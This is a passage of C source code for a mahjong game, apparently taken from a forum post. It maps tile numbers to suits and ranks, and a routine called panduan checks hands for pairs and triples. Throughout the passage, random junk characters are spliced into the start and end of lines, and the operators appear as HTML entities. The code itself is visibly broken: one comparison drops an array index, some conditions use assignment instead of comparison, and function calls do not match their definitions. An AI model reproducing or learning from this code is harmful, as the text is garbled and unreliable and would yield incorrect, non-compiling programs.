' t6 @) S6 M3 T2 ?/ a* Rlogoo=1;  Q6 ~' m2 x& J0 Y, d
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)0 j! K! C  ]# i. [
logoo=2;
7 D& V* u; U9 d9 t+ a$ n5 W% b; ~else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
  {; L  m6 E/ A7 X& ~* p! Hlogoo=3;
9 s; R  B" k- w& oelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)( m, x  e$ Z: H' z9 L  }  d) D
logoo=4;
. ]# k  _; ?% n" K9 k9 a$ T, Lelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
- g8 ^8 r" M# }. K$ F+ |2 z* Hlogoo=5;% `, D1 A) ?; `7 z. H
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
" \+ H8 }* Q3 U# G; q' Alogoo=6;& }' u- `6 D, ^% S0 f! u
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
+ s! j; E# z6 s3 k6 Glogoo=7;5 s# Z9 J+ \. N1 n4 [) f% r
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)' _2 |% j7 T/ V) x
logoo=8;
7 U+ g6 h7 o7 g# r- K9 S; belse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
5 ^' H/ ^; C1 t2 ]! }logoo=9;1 k5 @  o- x) y$ K, m
}) K2 h' D0 B$ s8 y
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)0 |% t9 p, i. _' h; q
{
  V1 h4 d7 o% l4 [logo=3;
2 W; ?; B1 m) X1 @+ n2 E/ Pif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)- ]( O; ^3 s" W5 u$ l" B/ \5 _
logoo=1;
: U8 P( E% v3 delse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)) Y) s: J. f& y
logoo=2;
8 Y- S7 J: _0 ?" J" F+ b# Aelse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)4 w8 j* b: G3 m$ Z- t) a8 c
logoo=3;2 d, w9 z, T. z  R" X; q* O" _
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)- v4 n. i" k# ~+ t2 v7 Z6 J" y
logoo=4;
6 U. J" ^2 q& X0 M: |, Helse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
, M% r' @8 L9 D; U$ _0 Ylogoo=5;" r9 q% U+ x4 j3 J
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)" i$ r) Z' f0 j/ F, i+ ^# u1 f
logoo=6;
( Y$ |5 P9 l0 ^! pelse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)& s& [4 C( N& e8 [( M1 c7 }
logoo=7;% W& e8 G/ \; k# K/ k* W
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)  F: K6 X3 ?3 j" N1 ]
logoo=8;6 d$ a- j" J% k) A
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)" D3 r1 ?' k( c5 m* K6 W
logoo=9;5 d5 g7 \+ e% g
}
' ?. D8 n6 W; Q+ M, Q4 w( j# `else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)7 f0 Z. f( s( c
{
* e& R8 G& O/ ]2 mlogo=4;
/ C# S1 H6 u0 ?& T  f5 aif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
* A: R4 E( m8 Alogoo=1;& B% h: ^+ p1 ~. L# J( y  }
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)8 ], S+ z! L6 G4 }. e" \( {
logoo=2;, ~5 J; I3 I5 {$ A
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
7 Z" _. F8 M$ ^- _6 x" a+ Alogoo=3;
' D, }" s' k- d8 N2 s7 I1 Y& l( y- @else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
& `$ W8 T8 S$ P* P; B% ?: i( Hlogoo=4;
2 n& o4 s) O8 U5 q/ D% m* E% kelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
3 k6 f7 x# o7 P7 F/ Llogoo=5;
+ ]" l$ a, y/ T* h. O) K9 aelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)4 |, Z; x, ?. V3 z
logoo=6;  h6 S& _7 \8 Q; s! m- O1 j* t- B6 |
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)# P( A' V7 {, o2 p( X& @0 [
logoo=7;, U' w1 X5 x" U
}
+ H9 ~- }. S9 Q2 r. Cwhile(b&lt;=me.m)
! @' H" o+ ]) Y3 r{
7 t1 M- v( {/ y# _$ c4 C& k. Iif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
) W) m# F+ n$ [( k) {/ @* u8 K{8 [# R% v/ T& q# H/ B$ r# j% U
lg=1;3 e) `- u- z& m- b5 {
me.pp.d[0]=1;0 x" b$ f' ?. n
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)5 J8 ^) b5 ?: i. M, n  L
{
5 R1 T, ~) B- v6 {% G, {6 {) u  A( k9 b( Nlgg=1;4 S$ e, f: Z6 X9 X$ n
me.pp.d[1]=1;
; ~5 P  _, ~" t: Z: Q}- R, o  Z* o0 t' g) B6 t
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
5 D! Z% ~, c* s2 o{
3 X$ n% @  s; Y2 v9 h  Dlgg=2;* A$ @5 A& e) N# g8 }& t
me.pp.d[1]=2;
2 k- S3 G  F3 J$ A+ |' R, p}9 t( G+ X* Z) B
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)3 ?9 W( o5 G. J" ?2 z- V4 F2 n" t
{, C: a2 T" {5 t5 X* O
lgg=3;
& d4 P9 X) k3 d3 e: kme.pp.d[1]=3;
5 m' {9 N/ Q) u9 c$ w}+ F! H2 w. B  |9 J/ G
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
# ~1 R1 r; J; F( X{
  _* J4 c4 u$ v% W# c9 M3 s+ B$ K1 glgg=4;
% {0 g' q3 O+ d4 M( |- S& lme.pp.d[1]=4;
4 f. N9 i+ d1 H4 ^}! W: Z0 W; k% Q" \# I; ^$ W
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)9 N, N, x- I' {$ O. H) H1 U
{
0 u, ]; K+ \4 R, V+ t6 b9 U8 Glgg=5;
" d0 `0 a1 ]$ J" b% K2 Vme.pp.d[1]=5;
2 w. d' n# b2 P( i$ g}4 Q  c7 m! s) K, S) c
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)5 q: X9 J- p4 q  d  A& _
{
5 B/ R8 m+ k8 m9 _9 u, Ylgg=6;- p& h- U- j# T5 |# T+ k! i+ V- l
me.pp.d[1]=6;
& ?- D/ k& B* [# N( |}
/ P1 S. e. g! Relse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
( ~/ Q5 x) ^' G{
) o2 j3 Y' C3 F: o* Y1 F( rlgg=7;' S0 `/ X' B5 x% E
me.pp.d[1]=7;
& B  a6 q6 Z. Z}
( E- C; P/ J6 |. C) e; welse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)+ t& `2 T' b: L  x) a0 X; U9 u5 T
{
0 V9 ?6 I! p  j$ @7 Zlgg=8;9 E; N$ }5 }  w- z
me.pp.d[1]=8;
; g3 M$ j1 P& F+ e" K8 g/ r}7 t- b' r6 Z- c
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
6 K" c( V$ |6 k! G{
3 o' x1 w: P* w1 X! J" c" Q2 glgg=9;4 k8 z3 {  [% [: z2 M8 |
me.pp.d[1]=9;' |! v0 Z( L3 s" |
}, G) B( h/ K9 L5 q+ m  i9 Q6 j8 l
}
# j, \0 B: e5 ~else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
# z# X  N" M5 h, C( \* ~. a{2 w2 r9 I: ]' g: h
lg=2;( ~3 g* B" Z9 t( ]5 B$ I
me.pp.d[0]=2;3 v4 Y2 B' |5 ^$ Z+ b
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36), z9 s4 e$ [% o4 o0 F
{4 Z7 B! @  H- x4 a% F  e
lgg=1;. d6 O4 y  s/ o$ b
me.pp.d[1]=1;
; P6 S" K% y6 h( b}
* A. W9 x- H: X: c$ u, _else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
) O2 x( ]4 T: N. V0 o4 u{
8 H5 e2 q/ G- rlgg=2;# p8 ^" m. L# ~+ ^
me.pp.d[1]=2;
" q+ i. B& U& j}
( P9 ?$ {3 k% z4 J: l& u0 Belse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)9 O$ {) ~% i- D9 Z2 K4 f: c- m
{( |- F" S* g! L7 r  q
lgg=3;
1 j$ N. C: b- I8 _me.pp.d[1]=3;0 V7 i7 z; F3 G4 _' V. d! b
}
% R0 @5 C9 k' M2 W3 K" v0 Selse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)1 Y9 U1 m3 [$ d' m* h9 {: x
{8 Y$ c( h! }9 X: Q9 z
lgg=4;% {8 J9 X* M: ~; ]8 l
me.pp.d[1]=4;
* r0 @" {$ g0 N7 y2 b}. _0 _5 G6 {. S! V: S, i
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)6 }# u. @0 j& Y- I# f
{- i. d/ N! S9 s' O! F- W6 N
lgg=5;& c1 e2 g- X$ b) y3 u3 r# u: q# C; q
me.pp.d[1]=5;
6 e8 b! \4 r6 p6 u" o2 L0 M}: s( `- P& @7 ~/ F
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
+ s% K6 D# ]1 K, P1 D5 \# Q: K{
  d( [( {3 b# Llgg=6;
6 Y4 c4 m6 B  @: s5 J5 O- H& ^- ]me.pp.d[1]=6;$ a# E) a) e6 n/ \6 b
}
7 R+ [0 q4 J$ j* f5 Welse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)7 E  ^. f) A9 {0 t" A3 u
{, Y# G% M. d) e+ f, K* O
lgg=7;
; k# K7 \1 z; C& u' b, }. ?me.pp.d[1]=7;
& |, t" G' n& z4 @9 S}7 }, s* j, H+ [2 M, S# c. g9 G& `2 S
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)6 i6 U8 L1 \7 z, A' [: N
{
8 ^0 O# w: H* T+ N4 Xlgg=8;2 L# G/ d- e2 A/ y$ \0 D
me.pp.d[1]=8;
2 K- I" [! S: Q, a9 _}7 a+ y% V' }3 F
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
! w) P6 {, p" h{
3 M7 |6 s" l, j: Llgg=9;  M5 Z6 _1 A! P/ [
me.pp.d[1]=9;1 x5 G  b2 H6 {# c
}
" G" S) w$ p' [; t4 H}
) h) a; k5 {. q% n8 V8 y3 E$ \9 T0 zelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
8 M. Q& _7 F& ~0 T9 v/ _$ n{" c$ g* w! |' R% V# f- A
lg=3;
2 c  Z7 f! L3 jme.pp.d[0]=3;
  M5 `: M6 ~) \) p- X) w) ~7 Nif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
: ~* Y8 m3 e9 t* [{- c$ R  B$ K3 ?; o
lgg=1;, @1 ?5 p( M  R9 O- R0 t
me.pp.d[1]=1;
5 I! U, m+ g' J3 |/ h6 G}
, e! L, P0 C) `1 D1 b. Q5 y: Telse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
9 k3 R/ {. R: _! T% N3 t5 U{
: ]! Z- {" B& Q2 q: olgg=2;% _' x7 g5 R, n9 q; c3 ~
me.pp.d[1]=2;' z* c8 B5 j1 A& a3 m, q& I) a
}6 u" i  v, U* w! H5 I( _
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
/ T9 @* u  a, E8 M{+ r( S( _' t% j, ?1 C% S) @
lgg=3;  N; H( s' C1 G/ z) v6 H
me.pp.d[1]=3;: ^/ v  v" S2 g
}
2 z( ]9 b3 J: R6 Delse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)5 H4 P7 x/ r9 L0 Y
{
0 i* D/ A8 G2 Z) y$ mlgg=4;/ m7 `3 L; W' D, M8 o
me.pp.d[1]=4;5 e9 v" s" M4 D7 A0 n' t
}
( }# R- ?. ?5 A8 E1 F  y1 Qelse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
) b6 H" P9 W' y. X{5 f3 B- t; {- U7 z( L2 V( ?  z5 M4 a1 s5 l
lgg=5;! n6 s7 |  M) u3 @; D  E
me.pp.d[1]=5;, }$ [  b4 _; Y1 o6 Q' n. ~
}0 B% C* p4 n0 ^& g
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)8 t5 D) `  N9 k% b
{
( I9 E) `/ A3 Q6 v6 qlgg=6;0 N& Q& @$ X' e( O  {. _
me.pp.d[1]=6;! U/ @! ~+ Z; O" Z# C
}
+ Y/ j/ v* j8 ~* Z1 d% nelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)4 P  P3 r$ H9 ]. Z
{
# J* U5 t. h; O2 {7 Klgg=7;
) ^+ |$ W* i  s, ~7 L$ ]! D5 ^6 Ime.pp.d[1]=7;5 l: D# x( p" K: }  i
}
" S' {; W) W0 Lelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)5 Q% m7 v  F& Y; ~
{
& \/ I% a6 L7 O! N; N1 Wlgg=8;5 f$ C- M- ~2 G' o
me.pp.d[1]=8;
6 {" }( ^+ S& R# m7 f: k}7 T1 ~( f1 [1 U1 e; ]5 P
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
3 v# h9 O% E6 m# Q+ p3 |9 l{
8 H% Z# R$ W" g; z$ A) dlgg=9;
7 P( B/ `0 Z! @2 C( t- V+ wme.pp.d[1]=9;' }7 B) w0 X' G/ i0 x/ |: C, L$ Z
}
% G- i) ^/ |* b* M; g9 H: S2 z! m' }}
6 I& k. ?  @0 x, _  Uelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108): i  I0 l/ D$ k3 l0 T4 a+ L
{$ f1 B% B2 }: d" n9 |" f
lg=4;& \. Z9 m- H0 H' z
me.pp.d[0]=4;
* D7 z: h8 Z4 C8 `% K3 a) i7 Rif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108); D! q4 P- g2 A( U
{; e8 v; D$ `, p% V+ Y$ S6 E; D. B9 J- j
lgg=1;
. y! J" g  A" \me.pp.d[1]=1;; o) s+ Y+ D; c) `' t7 ?7 S2 u
}
/ x5 }5 m: |( `% Y% j, Jelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)8 A/ j7 z) j/ M! H
{
5 M7 u% L5 |. x' Y$ }: D2 ylgg=2;
, s, v2 G- r  w0 Hme.pp.d[1]=2;
% S: Y2 _; f, x% ^8 D5 u& v0 s1 |}
* b4 f. p0 e* ]/ a2 J# ~else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)% `/ m: N7 `  b" y
{% @1 m$ q5 [: I5 t' P# S( l  w& X
lgg=3;
5 V- P* m! ?) _, \2 _) sme.pp.d[1]=3;
/ c- ~. L4 R' f- B" e9 S8 L}
' V! h7 S4 j8 e0 q1 nelse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
- ~$ F: q; S1 \0 G+ I# L6 [{* h: m* ?  A( B. T3 h- ^8 e. _; s
lgg=4;
3 ?" U' U1 ]& z' zme.pp.d[1]=4;  [3 O" m& H1 q7 S
}/ U4 K4 Z% L$ A% E1 s: y2 `( s
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
# u9 R7 U+ U. u% G{
. J5 c8 f% q! ~9 `/ Y. Q1 {/ H; ^lgg=5;9 E2 I2 b) F# ^$ n& }' F, R
me.pp.d[1]=5;
2 |& k# p" X. \( w! ?5 d4 j}0 q! |( E2 k' t5 s: _
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
+ \0 d' o, b. s1 B6 Y$ |{( J/ q4 L. P/ S: ~, {
lgg=6;
/ {0 _) `: k* c% W. g" R3 E- e$ ume.pp.d[1]=6;* Y$ Q% G: L3 E/ I5 I1 P
}
* z" ^: J5 k+ A- j9 ]* velse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)) z& P5 H! x/ f8 T4 @$ ^
{
$ P2 O, I! v' Klgg=7;/ _. y+ {/ [6 ?3 n5 L; \$ h: h5 q
me.pp.d[1]=7;
3 K1 D7 O4 p: r( _2 @$ a) R}
: h1 L  F) v7 H0 o8 C/ W$ [) Y}
/ E; \7 k! m7 r* ]% O2 C6 k}
: U2 I$ ~# C' [" C# g8 o}
7 [; G2 f9 ^( g# n* q1 @2 `2 ~void istwo(testt)
, u7 f6 H* S3 N  U) ~6 _+ iint testt[];
; a# z( j, a$ Q  r5 q) \0 m{ if(testt[0]==testt[1])! q' t$ e6 }+ Z+ j
second++;2 Q3 g6 A: o  \% a) `
}/ J- d, z# E7 A6 s% Q9 v; }" u% G
void isthree(testt,n)  n5 T) n7 M% r0 s& V
int testt[],n=0;
7 Y( ]. @' [- o! \{ int i,j,flage=0,lianx=0,same=0;
6 M5 n3 ?1 J9 E7 `5 N$ \$ [( xn=n/3;
7 o+ k  m" ^, g0 H" `; M# w& Mfor(j=0;j&lt;n;j++)# o% N1 d0 x. ?  a* s. l; d$ }
{+ c7 Z% x( o0 Y) j1 ~* H
for(i=j*3;i&lt;2+j*3;i++)6 x' B1 }3 `  h5 I! J+ _1 J
{
4 g: D( v+ w7 j$ H9 t# @0 Wif(testt==testt[i+1])3 Z# l0 P% J5 m
same++;6 s  d  n8 Q: r
if(testt[i+1]-testt==1)7 w% p! s1 B1 G5 Z6 f" k" p
lianx++;
) `  @9 z7 e) e2 n& E7 H4 e5 L! \}
1 P: {8 D4 K' R7 R' M1 B  d8 lif(same==2)
  i* E0 B% P) M: R% H; B1 K/ Kthrees++;
" `$ D7 N/ o+ rif(lianx==2), Y8 o6 ^# C  J2 o, `
threes++;
: Q" L$ k, L9 E% g: Wsame=0;
9 z$ |8 R2 N+ a. p5 w( C/ h% Llianx=0;% k1 T2 I* _" ^4 s* A
}
* c% S+ Q8 x1 {4 R1 r8 s}3 ~$ w7 z0 \. @/ S. l
void panduan() /*本程序的精髓*/& |7 k/ T5 q1 e' `2 q, y1 G
{int data[14];( g0 C- ~" y5 B( L
int pw[14];
8 V% B5 s5 K5 ^* s# D- Vint pt[14];
4 H9 @- x5 Y2 z9 ?9 X& Iint pi[14];
4 m9 g* X% N0 O) k3 v$ J9 c3 Uint pf[14];. M) }- O' M. q6 o. X. J
int test[12];
( {6 ~  w& {. p2 dint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;* \" }4 S* t) K* p3 a5 |: @
for(jj=0;jj&lt;=me.m;jj++)7 j: Q! B, r, b/ f1 V# \
{1 P. _+ @0 R  j/ s! A7 ]
if(me.pp[jj].d[0]==1)
6 P' F, }2 s, ~( xdata[jj]=me.pp[jj].d[1];5 p& F+ C  \: L3 f6 b9 s: L
if(me.pp[jj].d[0]==2)1 ?8 K. ]4 `* `" b
data[jj]=me.pp[jj].d[1]+10;# V: G! m  c6 z/ Y/ Z
if(me.pp[jj].d[0]==3)0 Y- \4 T4 m, J! _! U( p& ?
data[jj]=me.pp[jj].d[1]+20;
5 x1 u$ w# i$ ]# o  i! u. Wif(me.pp[jj].d[0]==4)7 @( Y( w6 k: f/ Q6 r
data[jj]=me.pp[jj].d[1]+30;3 G" b. \; b% o5 D0 y. i
}0 L9 P/ X3 m* y% c
if(logo==2)
; S* v) U3 i4 s" |6 tw=logoo+10;! C9 ]. R8 n% A4 B; R) Y
if(logo==3)1 c- ]- Q  O% }; f
w=logoo+20;
4 _1 i* p& H) E6 a* o  v  |) hif(logo==4)# a9 `  @0 V, D4 I( u. L
w=logoo+30;
6 L- Y6 }1 n( h( B0 t  [, m7 Vdata[computer.m+1]=w;/ s2 O6 ~  @- j, b7 @
for(mm=0;mm&lt;=computer.m;mm++)* N& d& ^) p4 a; q) P- s
for(nn=mm;nn&lt;=computer.m;nn++)
/ g: i6 W6 n8 z0 ?3 uif(data[mm]&gt;data[nn+1])
  W% c6 u! Q5 M# k$ a{' W( f+ B+ ~3 T) @4 X
tpp=data[mm];1 _$ J" b9 W" g
data[mm]=data[nn+1];' F: V$ F" ~' J, M, [! [+ m& L
data[nn+1]=tpp;
5 {% {8 t% N0 G: W2 q}
9 }8 u: e: i' Z, j4 r7 J$ Olp=0;- C9 `, k5 s$ T, F& f- C8 C# m$ r
while(lp&lt;=computer.m)
) t- i( @! j/ O# r4 {! L/ {1 @) y( y& B{ if(data[lp]&lt;10)
9 `( C3 R% l* o) n# v% b/ `pw[ww++]=data[lp];
0 D( [0 S/ T7 Yif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20): Z9 ~, K0 o! g$ e6 l
pt[tt++]=data[lp];1 e0 P* v6 I: ]' g* r4 Q: q1 d3 ?
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)2 T  i+ _' z& z" D& H3 A) F2 U
pi[ii++]=data[lp];! o# s6 G8 R) ~& H" p+ F6 w
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38). N: p- S  Y6 v( o9 g5 G- e& y( c6 x
pf[ff++]=data[lp];8 E/ x' S' M8 [) U
lp++;
& g1 D5 j: Y6 v% D}6 d9 w8 K# f( C& U# V3 `# [
if(ww==2), h' ?' f! x, [3 O  I
istwo(pw);
/ |$ i5 q# ]! X2 ~( @6 `else if(ww==3)
! {- W% W! d2 h* {isthree(pw,ww);
- j6 b* H0 g! `  f8 Q; i+ f1 |9 oelse if(ww==5)9 o5 ?3 i& \7 Z, D$ o/ D
/*pw[5]原始牌数组,假设已经升序排列*/0 q1 ^/ t/ n" R1 d$ o
/*test[3]用来放置测试牌的数组*/
+ u  |& `+ C1 a8 ^/ `9 dfor(i=0;i&lt;4;i++)6 j" S4 t8 }* f1 q* Q$ [- N
{& o2 R$ ~# y- q
for(j=0;j&lt;2;j++)
6 F! e) U3 j  {$ h{test[j]=pw[i+j];
$ R  P1 @' C+ j5 }- T" Z}
8 |$ a0 O2 J. E# Cif(istwo(test))8 P+ Z% |, E  \( Z
{ ill=0;
6 I( S- ~% C- x9 ]& p4 {/ b# T' ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/7 K' a  W8 [3 F* q0 M$ V# p
{if(kl==i)5 w) G& X" x% M- g+ |: N2 g
{# w5 \3 z5 t" ^, }
kl=kl+2;! b) @1 k* E6 f1 z6 Q' g3 _$ b
if(kl==5)2 j; {' F+ j$ Q6 g# Y
break;
; t; F: X. X% p2 i}
3 |6 g+ i) ?* t# ytest[ill++]=pw[kl];2 b; j- u+ [- Y
}7 U' M0 Z3 p% D( ~
isthree(test);' d# `, I' d! t8 ]) b! @
}- w  u0 \2 l' O- D
}
6 h9 C# ]8 H5 C* g5 Xelse if(ww==6)9 d% B9 S" O' G. ]" D' X5 L
isthree(pw,ww);   P/ I6 B6 W* Y; N6 j6 ]: H  F8 n
else if(ww==8)" C  V* s( r) Y0 H; y
for(i=0;i&lt;7;i++)
$ D- e+ N2 \- W% J6 R{4 @# z% Y( V5 y! ?4 R# Q* e3 p
for(j=0;j&lt;2;j++)
3 Q8 `3 Z* u: _6 N( j{test[j]=pw[i+j];
. G4 y) ^) Q9 N+ W- W- h}
; B( K0 A6 T' e- T3 B1 D3 wif(istwo(test))$ n8 E8 e! q3 D! e
{ ill=0;" f  h* l8 p- `8 l5 c: C& g" y2 i- H
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/9 \6 S% \( y% K3 T- u& ^
{if(kl==i)
, p( P! Q2 I: V{
9 n+ t5 y: N7 ~5 H% Ykl=kl+2;
6 z, L2 h/ ?4 Y9 p$ F5 qif(kl==8)* w- ~0 f6 s, A- C& Z+ \6 c
break;
5 o, B$ ~. M9 s3 C3 n}
4 D! N9 n/ G6 H' \+ Z$ J) {$ Ntest[ill++]=pw[kl];
& C! B+ j: R. F' k" G}
( X6 n+ b1 W* a5 i0 {; B6 Histhree(test,ww-2);
7 V/ Q6 C$ G7 m5 V}( z; k2 _/ r- |6 E5 _3 L' Y  C! `# b
} ' ?1 W$ I6 T- r7 e9 k/ _- S. M; ?
else if(ww==9)' {1 V; e9 v6 Q0 e. w  C4 d7 o
isthree(pw,ww);
: H0 v' I7 D: K4 e* z3 @4 pelse if(ww==11)
  o- ^- W0 D1 [  e) Bfor(i=0;i&lt;10;i++)
. u$ R, S2 Y  b3 N9 A$ D{; E) M- V% J. `
for(j=0;j&lt;2;j++). k) G# I) k+ T4 Y' d7 i
{test[j]=pw[i+j]; 8 t' @# f* T9 |# V* k
}. S; a3 h5 ?2 L$ ?
if(istwo(test))6 Y! C' A7 t; f# X& {/ K  `
{ ill=0;
0 U# }+ Y3 p" ^for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/- c& x3 j5 n' @4 }7 v$ h; }& ]
{if(kl==i)* @4 u, ?# H0 G
{6 e2 O. P) N" A/ V5 R1 x1 f
kl=kl+2;0 I3 _( B* G" _' ?1 S) z
if(kl==11)+ p' \+ f7 T; B. w- f1 K
break;) R; t% `8 |9 V
}* S5 Y( ^2 ?, e1 G% z
test[ill++]=pw[kl];) m; u1 h8 i: L: c
}
9 g+ _! w5 ~5 b% Cisthree(test,ww-2); 9 s' r) u5 m$ q' ~  B7 ?. ~1 d
}
2 X( A. f6 k2 T0 j} 2 L6 \# L" \: @
else if(ww=12)
: W/ P" h3 i5 tisthree(pw,ww);& X5 q, M/ N0 s+ g6 U
else if(ww=14)$ p  l4 N' ]) k
for(i=0;i&lt;13;i++)
- ^% z+ c, t. i/ ^# Y1 V" d' m{
  U! b% F+ Q4 }% R; M' Efor(j=0;j&lt;2;j++)' Y6 t* j: o! z* B/ @# Z) P
{test[j]=pw[i+j];
$ g6 q2 X$ A, k& E}
  A# y, p9 u& n0 gif(istwo(test))7 n* Q  o7 J% b
{ ill=0;
; H2 y2 z. }3 `5 l0 Kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
9 C$ s5 G6 C" q. a# \{if(kl==i)
  z! z/ ~7 g4 l' j  J; T{
- D8 g2 [: Q$ ^) P! R3 a+ lkl=kl+2;/ Q3 R0 H# t$ J) A- f
if(kl==14)0 e* @/ `% j4 f2 t' M/ {
break;
: N: J0 Y% |6 V) M, e, a% Y}3 s  [2 t! V0 x8 W  i" B3 h
test[ill++]=pw[kl];
0 d# L% @, }' X}
1 B1 s  i* A8 S+ eisthree(test,ww-2); # q$ J. A, p3 `% m/ h) N
}
  D0 z- A( w3 {! w0 Q- O. `& k) a}
: J+ |+ c) G$ L5 o0 r4 B1 y/ |if(tt==2)0 ?7 U( ^1 P# `, m5 p
istwo(pt);
% G# l$ _2 o* S; Q. Welse if(tt==3)6 b1 B& P: J, C, i
isthree(pt,tt);
3 ^4 t) |9 L6 \  ?  Z  melse if(tt==5)
; O9 X' E9 y% h, i3 ^* Y/*pt[5]原始牌数组,假设已经升序排列*/
9 K+ P9 `! h# n8 j3 e, a/*test[3]用来放置测试牌的数组*/; V6 ~% B, O3 R, m' G
for(i=0;i&lt;4;i++)
" R) Q0 ?) T5 Y  ?5 ?* p{7 n& y: G- B+ I" L2 V4 @& M% i! o
for(j=0;j&lt;2;j++)7 R# P2 c% a5 d/ _8 l- |* W, a
{test[j]=pt[i+j]; ( R# O4 K. Z& ]2 `
}
) Z$ \3 _8 w  I. ^; N5 R0 bif(istwo(test)); b+ l3 k) {6 H3 F* b
{ ill=0;
2 s" t( \6 g+ L) M- U; Hfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
) h5 O6 e* ?& M& Q9 p3 I{if(kl==i)
+ @0 }/ y3 Z* o; g( |{3 t0 j: ^6 c! v- I
kl=kl+2;, i6 u; ?4 k( R  U/ \
if(kl==5)0 {2 e+ I* }; ]: u& T& i
break;: G- ~, G2 H1 d0 j0 p( }& `
}
% _. v8 v& `- \! o- o8 ]0 x4 Ztest[ill++]=pt[kl];
& j' v  w' ^) E' H}
9 \# H: ]- L- f) Listhree(test);
. e2 l- D" a0 x7 J. D5 B}
; E8 h5 }( x4 \}
, f$ |4 A' E) x* i7 f9 \( Y4 G, s2 Relse if(tt==6)/ Q/ v5 V7 ]  x$ u
isthree(pt,tt);
7 A0 ~: i! b, d3 P3 J$ R# Xelse if(tt==8)
/ R, N' |: D/ S% C% Gfor(i=0;i&lt;7;i++)
# }7 c, O* b) [; p/ J  o3 W{& G. F5 B& N; c- Y6 A$ e
for(j=0;j&lt;2;j++)  g" l, j3 F& a, q6 h. Z0 t) I
